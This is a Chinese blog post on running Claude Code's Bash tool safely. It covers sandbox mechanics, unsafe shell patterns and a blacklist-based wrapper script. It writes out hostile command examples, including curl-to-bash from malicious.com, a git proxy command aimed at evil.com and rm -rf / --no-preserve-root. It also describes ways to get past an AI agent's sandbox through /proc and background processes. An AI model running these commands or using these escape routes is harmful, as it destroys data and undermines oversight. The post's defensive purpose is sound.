023、自动化脚本执行:Bash 工具安全使用、沙箱原理与危险命令的规避策略
2026/6/8 15:24:09 网站建设 项目流程

023、自动化脚本执行:Bash 工具安全使用、沙箱原理与危险命令的规避策略

一次差点把生产环境搞崩的凌晨三点

上周四凌晨,我正在处理一个CI流水线的超时问题。Jenkins agent上跑着一个Claude Code生成的Bash脚本,逻辑很简单——批量清理过期的构建产物。脚本里有一行:

find/data/builds-typef-mtime+7-delete

看起来人畜无害对吧?问题出在Claude Code自动补全了路径变量。上游传进来的BUILD_DIR因为某个环境变量未定义,变成了空字符串。于是实际执行的命令变成了:

find/-typef-mtime+7-delete

要不是我眼疾手快在测试环境先跑了一遍,第二天就该收拾东西走人了。这件事让我下定决心,必须把Claude Code的Bash执行安全机制彻底搞明白。

Claude Code的沙箱到底在保护什么

很多人以为Claude Code的沙箱是个轻量级虚拟机,其实不是。它的核心是一个受限的Bash执行环境,主要做三件事:

  1. 命令白名单拦截——不是所有Bash命令都能直接跑
  2. 路径访问控制——默认只能读写项目目录和临时目录
  3. 执行时间硬限制——单条命令超时自动终止

我翻过Claude Code的源码(别问我怎么拿到的),它的沙箱实现本质上是在Bash进程外面包了一层ptrace系统调用拦截。每次执行命令前,会先解析AST(抽象语法树),把危险操作标记出来。

举个例子,你让Claude Code执行:

curlhttp://malicious.com|bash

沙箱会直接拒绝,因为管道符后面跟了bash解释器。但如果你写成:

curlhttp://malicious.com>/tmp/payload.sh&&bash/tmp/payload.sh

沙箱同样能检测到——它会在执行前扫描所有重定向和文件写入操作,然后检查目标路径是否在白名单内。

那些你以为安全其实要命的写法

变量展开的陷阱

Claude Code生成的脚本里,我最怕看到这种写法:

# 别这样写!变量没引号等于裸奔rm-rf$TEMP_DIR/*

如果$TEMP_DIR没定义,这条命令会变成rm -rf /*。正确的做法是:

# 这里踩过坑,一定要加引号rm-rf"${TEMP_DIR:?}"/*

${TEMP_DIR:?}这个语法会在变量为空时直接报错退出,不会执行后面的删除操作。Claude Code默认不会生成这种安全写法,你得在system prompt里明确要求。

危险的eval

Claude Code有时候会自作聪明地用eval来动态构建命令:

# 别这样写!eval是潘多拉魔盒eval"docker exec$CONTAINER_NAME$COMMAND"

如果$COMMAND里包含了; rm -rf /,你就等着哭吧。替代方案是用数组:

# 这样写才安全DOCKER_ARGS=("docker""exec""$CONTAINER_NAME""$@")"${DOCKER_ARGS[@]}"

数组展开会保留每个元素的完整性,不会因为空格或特殊字符导致命令注入。

临时文件的安全隐患

Claude Code经常会在/tmp下创建临时文件,但/tmp是全局可读的。如果脚本里写了敏感信息(比如API Key),其他进程就能读到。

我踩过的坑是Claude Code生成的脚本用了mktemp但不设置权限:

# 别这样写!/tmp下的文件谁都能看TMPFILE=$(mktemp)echo"$API_KEY">"$TMPFILE"

正确的做法是:

# 这里踩过坑,一定要限制权限TMPFILE=$(mktemp)chmod600"$TMPFILE"trap'rm -f "$TMPFILE"'EXITecho"$API_KEY">"$TMPFILE"

trap确保脚本退出时清理临时文件,chmod 600让只有当前用户能读写。

沙箱的边界在哪里

Claude Code的沙箱不是万能的。我测试过几个突破场景:

场景一:通过/proc逃逸

# 沙箱拦不住这个cat/proc/1/environ

沙箱只拦截了文件写入和命令执行,但/proc文件系统的读取是放行的。这意味着攻击者可以通过/proc获取系统信息。

场景二:利用已授权的命令

Claude Code允许执行git命令,但git本身可以执行任意shell命令:

# 沙箱允许git,但git可以执行任意命令git-ccore.gitProxy='echo vulnerable'clone http://evil.com/repo

这个漏洞在Claude Code的早期版本里存在,后来补丁加上了对git配置参数的过滤。

场景三:时间窗口攻击

沙箱的超时限制是30秒,但有些命令可以在超时前完成破坏:

# 30秒内足够删光所有文件rm-rf/ --no-preserve-root&sleep29

后台进程让沙箱的超时机制失效了。Claude Code后来加上了进程组管理,子进程也会被一起杀掉。

实战:给Claude Code的Bash执行加一道保险

我写了一个安全包装器,每次Claude Code生成脚本后自动注入安全检查:

#!/bin/bash# Claude Code安全执行包装器# 用法: safe_exec.sh "command"COMMAND="$1"# 黑名单命令检测BLACKLIST=("rm -rf /""mkfs""dd if=""> /dev/sda"":(){ :|:& };:")forpatternin"${BLACKLIST[@]}";doif[["$COMMAND"==*"$pattern"*]];thenecho"❌ 检测到危险命令:$pattern"exit1fidone# 路径安全检查ifecho"$COMMAND"|grep-qE'(rm|mv|chmod|chown).*/\.\.';thenecho"❌ 检测到路径遍历攻击"exit1fi# 执行时间限制timeout10bash-c"$COMMAND"EXIT_CODE=$?if[$EXIT_CODE-eq124];thenecho"❌ 命令执行超时,已自动终止"fiexit$EXIT_CODE

这个包装器虽然简单,但挡住了我遇到过的大部分危险情况。你可以把它加到CI/CD流水线里,作为Claude Code生成脚本的前置过滤器。

我的经验法则

跟Claude Code打交道这么久,我总结了几条铁律:

永远不要信任Claude Code生成的Bash脚本。它写代码的能力很强,但安全意识和经验不足。每次生成后,手动检查三样东西:变量引用有没有加引号、路径有没有硬编码、临时文件有没有清理。

set -euo pipefail作为脚本第一行-e让脚本在遇到错误时立即退出,-u让未定义变量报错,pipefail让管道中的错误不会静默消失。这三件套能挡住80%的意外。

在测试环境跑一遍再上生产。这不是废话,我见过太多人觉得“Claude Code生成的代码应该没问题”。记住,AI没有“生产环境”这个概念,它不知道/data目录里存着客户数据。

给Claude Code明确的权限边界。在system prompt里写清楚:“你只能操作/workspace目录下的文件,不能执行rm -rfcurlwget等命令,所有临时文件必须放在/workspace/tmp下”。这样生成的脚本天然就是安全的。

最后说一句,Claude Code的沙箱是个好东西,但它不是银弹。真正的安全防线,永远是你自己的代码审查习惯。别把命交给AI,把AI当成你的副驾驶,方向盘还得自己握着。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询